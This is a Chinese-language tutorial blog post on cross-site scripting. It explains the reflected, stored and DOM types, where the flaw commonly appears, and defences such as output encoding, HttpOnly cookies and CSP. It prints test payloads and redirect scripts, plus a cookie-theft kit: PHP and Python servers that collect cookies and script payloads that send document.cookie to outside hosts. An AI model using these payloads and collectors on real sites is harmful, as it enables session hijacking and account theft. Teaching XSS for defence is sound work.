XSS漏洞
XSS漏洞

XSS漏洞

XSS,全称为Cross-Site Scripting,即跨站脚本攻击,是一种常见的网络安全威胁。它允许攻击者将恶意脚本注入到正常的网页中,这些脚本在其他用户的浏览器上执行时,可以窃取用户信息、篡改网页内容或者冒充用户执行一些非预期的操作。

XSS漏洞产生的原理

前后端对用户输入未进行过滤,导致攻击者注入的恶意代码被执行。以下是一些详细的产生原因:

  1. 信任客户端数据:当Web应用程序过于信任客户端提交的数据,而没有进行适当的验证和处理时,攻击者就可以利用这一点,通过提交恶意脚本到服务器,进而在其他用户的浏览器上执行这些脚本。
  2. 不安全的数据处理:即使在数据库或其他存储系统中,如果用户输入的数据没有经过适当的清洗和转义,当这些数据被检索并显示给其他用户时,恶意脚本可能会被执行导致存储型XSS
  3. 不安全的API或框架使用:某些API或框架可能存在设计上的缺陷,或者开发者在使用时没有遵循最佳实践,导致用户输入的数据没有得到正确的处理,从而引发XSS攻击。
  4. 缺乏适当的编码和转义:在将用户输入的数据输出到HTML页面时,如果没有进行适当的编码和转义,那么特殊字符(如<>&等)可能会被浏览器解释为HTML标签或脚本代码,从而执行恶意脚本。

XSS分类

XSS攻击可以根据其行为和持续性分为几种不同的类型,主要包括以下三种:

  1. 反射型XSS(Reflected XSS)
    • 这种类型的XSS攻击通常是一次性的,它发生在用户点击一个包含恶意脚本的链接时。
    • 当用户点击这样的链接后,恶意脚本会作为请求的一部分发送到服务器,然后服务器可能会将这个脚本作为响应的一部分返回给用户的浏览器。
    • 用户浏览器把接收到的脚本拼接在HTML页面中。
    • 恶意脚本在用户的浏览器中执行,可能导致信息泄露、会话劫持或其他恶意行为。
  2. 存储型XSS(Stored XSS)
    • 存储型XSS攻击是持久性的,因为恶意脚本被存储在服务器上,例如数据库、消息论坛、访客留言等。
    • 当其他用户访问受影响的页面时,恶意脚本会被检索并显示出来,从而在这些用户的浏览器上执行。
    • 这种攻击的危害性较大,因为它不依赖于用户点击特定的链接,而是在任何用户访问任何包含恶意脚本的页面时都会触发
    • 由于任何用户访问到包含恶意代码的页面都会执行,该类型的XSS漏洞通常成为攻击者水坑攻击XSS蠕虫病毒等攻击手段的基础。
  3. DOM型XSS(DOM-based XSS)
    • DOM型XSS是纯前端的XSS漏洞,是基于客户端的,不需要与服务器进行交互,它利用了Web应用程序对用户输入的不当处理来改变DOM结构
    • 这种攻击通常涉及到JavaScript代码,攻击者通过修改页面的DOM结构来执行恶意脚本,例如通过操作document对象或使用innerHTML属性。
    • DOM型XSS的特点是攻击脚本完全在客户端执行,不会在服务器端留下任何痕迹,这使得检测和防御变得更加困难。

这三种XSS攻击类型都可能导致用户信息的泄露、会话劫持、恶意软件的安装等安全问题。

XSS漏洞通常出现的场景

搜索功能

  • Web应用程序的搜索功能常常允许用户输入查询参数,如果这些参数没有得到适当的处理,就可能成为XSS攻击的入口。

用户输入字段

  • 任何允许用户输入数据的字段,如评论框、论坛帖子、个人资料编辑等,都可能成为XSS攻击的目标。

表单提交

  • 表单提交的数据如果没有经过严格的过滤和转义,攻击者可以通过提交恶意表单数据来实施XSS攻击。

URL参数

  • 通过URL传递的参数如果没有得到正确的处理,也可能成为XSS攻击的途径。

富文本编辑器

  • 富文本编辑器允许用户输入HTML内容,如果编辑器没有对输入内容进行严格的安全过滤,就可能被用来插入XSS代码。

社交媒体分享

  • 社交媒体分享功能可能会显示用户输入的内容,如果没有正确处理,也可能成为XSS攻击的场景。

错误消息和反馈

  • 应用程序的错误消息和用户反馈功能,如果将用户输入直接显示,也可能被用来执行XSS攻击。

XSS漏洞验证payload

<script>alert('xss')</script>
<IMG src=javascript:alert('XSS')>
<img src='1' onerror=alert(1)>
<img src="1" onerror="confirm('xss')">

XSS漏洞利用——流量劫持

网页重定向

在JavaScript中,添加网页重定向通常是通过设置window.location对象的属性来实现的。以下是几种常见的方法来使用JavaScript进行网页重定向:

1. 使用window.location.href属性

这是最直接的方法,window.location.href属性获取或设置当前页面的URL。当你设置这个属性时,浏览器会导航到指定的URL。

// 重定向到一个新的URL window.location.href = 'https://www.example.com';

2. 使用window.location.replace()方法

与设置window.location.href不同,window.location.replace()方法会替换当前页面的历史记录条目,这意味着用户无法使用浏览器的“后退”按钮返回到重定向前的页面。

// 替换当前页面到新的URL window.location.replace('https://www.example.com');

3. 使用window.location.assign()方法

window.location.assign()方法与设置window.location.href类似,它也会导航到一个新的URL,但不会替换当前页面的历史记录条目。

// 导航到新的URL,但保留在历史记录中 
window.location.assign('https://www.example.com');

4. 使用HTML表单进行重定向

虽然这不是纯粹的JavaScript方法,但你可以创建一个隐藏的HTML表单,并使用JavaScript来提交它,从而实现重定向。

<!-- 隐藏的表单 -->
<form id="redirectForm" action="https://www.example.com" method="get" style="display:none;"></form>

<script>
// 使用JavaScript提交表单进行重定向
document.getElementById('redirectForm').submit();
</script>

XSS漏洞利用——获取用户cookie

document.cookie获取cookie通过src,将cookie向外传输

搭建一个XSS平台用于接收cookie

php平台

<?php
$cookie = $_GET['cookie']; // 获取cookie参数
$url = $_GET['url']; // 获取url参数

// 拼接字符串
$strings = "cookie:" . $cookie . " url:" . $url;// 输出字符串echo $strings;

// 将字符串写入文件
file_put_contents("./cookie.txt", $strings,FILE_APPEND);?>

python平台

import socket
import re

HOST = "10.10.10.1"
PORT = 8080
FILENAME = "urls.txt"

# 创建一个服务器套接字,使用 IPv4 地址族(AF_INET)和 TCP 传输协议(SOCK_STREAM)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((HOST, PORT))

while True:
    # 将服务器套接字与特定的主机地址和端口号进行绑定,以便客户端能够找到它
    server_socket.listen(1)
    print('等待客户端连接...')
    # 接受客户端连接
    client_socket, addr = server_socket.accept()
    print('客户端已连接:', addr)
    # 接收客户端发送的数据
    data = client_socket.recv(1024)
    print('接收到数据:', data.decode())
    
    # 从客户端发送的数据中提取 URL 中的键值对
    url_pattern = r"GET\s+/(.*?)\s+HTTP"
    match = re.search(url_pattern, data.decode())
    if match:
        url = match.group(1)
        params = url.split("?")[1]
        print("提取到的键值对:", params)
        
        # 将键值对存储到本地文件中
        with open(FILENAME, "a") as f:
            f.write(params + "\n")
            print("已将键值对存储到文件:", FILENAME)
    
    # 将接收到的数据原样返回给客户端
    client_socket.sendall(data)
    # 关闭客户端连接
    client_socket.close()

# 关闭服务器套接字
server_socket.close()

payload

<script>
  document.write('<img src="http://10.10.10.1:8080/?cookie='+document.cookie+'&url='+document.location.href+'"/>');
</script>

<script src='http://www.xss.com/cookie.php?cookie='+document.cookie></script>

<img src=x onerror=document.body.appendChild(document.createElement('script')).src='http://www.xss.com/cookie.php?cookie='+document.cookie>

成功获得cookie

XSS漏洞防御措施:

  1. 输入验证:对所有用户输入进行严格的验证,确保它们符合预期的格式和类型。使用白名单而非黑名单来允许安全的输入。
  2. 输出编码:在将用户输入的数据输出到页面时,进行适当的编码。例如,将特殊字符(如<>&等)转义为HTML实体。
    常用的php转义函数有
    htmlspecialchars($user_input, ENT_QUOTES, ‘UTF-8’)
    htmlentities($user_input, ENT_QUOTES, ‘UTF-8’)
  3. 使用HttpOnly Cookie:设置Cookie的HttpOnly属性,这样JavaScript就无法读取Cookie值,从而减少会话劫持的风险。
  4. 内容安全策略(CSP):实施CSP可以限制Web页面上可以执行的脚本,减少XSS攻击的发生。
  5. 使用安全API:使用不会导致XSS的安全API,例如,使用textContent代替innerHTML
  6. 定期安全审计:定期对Web应用程序进行安全审计和代码审查,以发现和修复潜在的安全漏洞。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注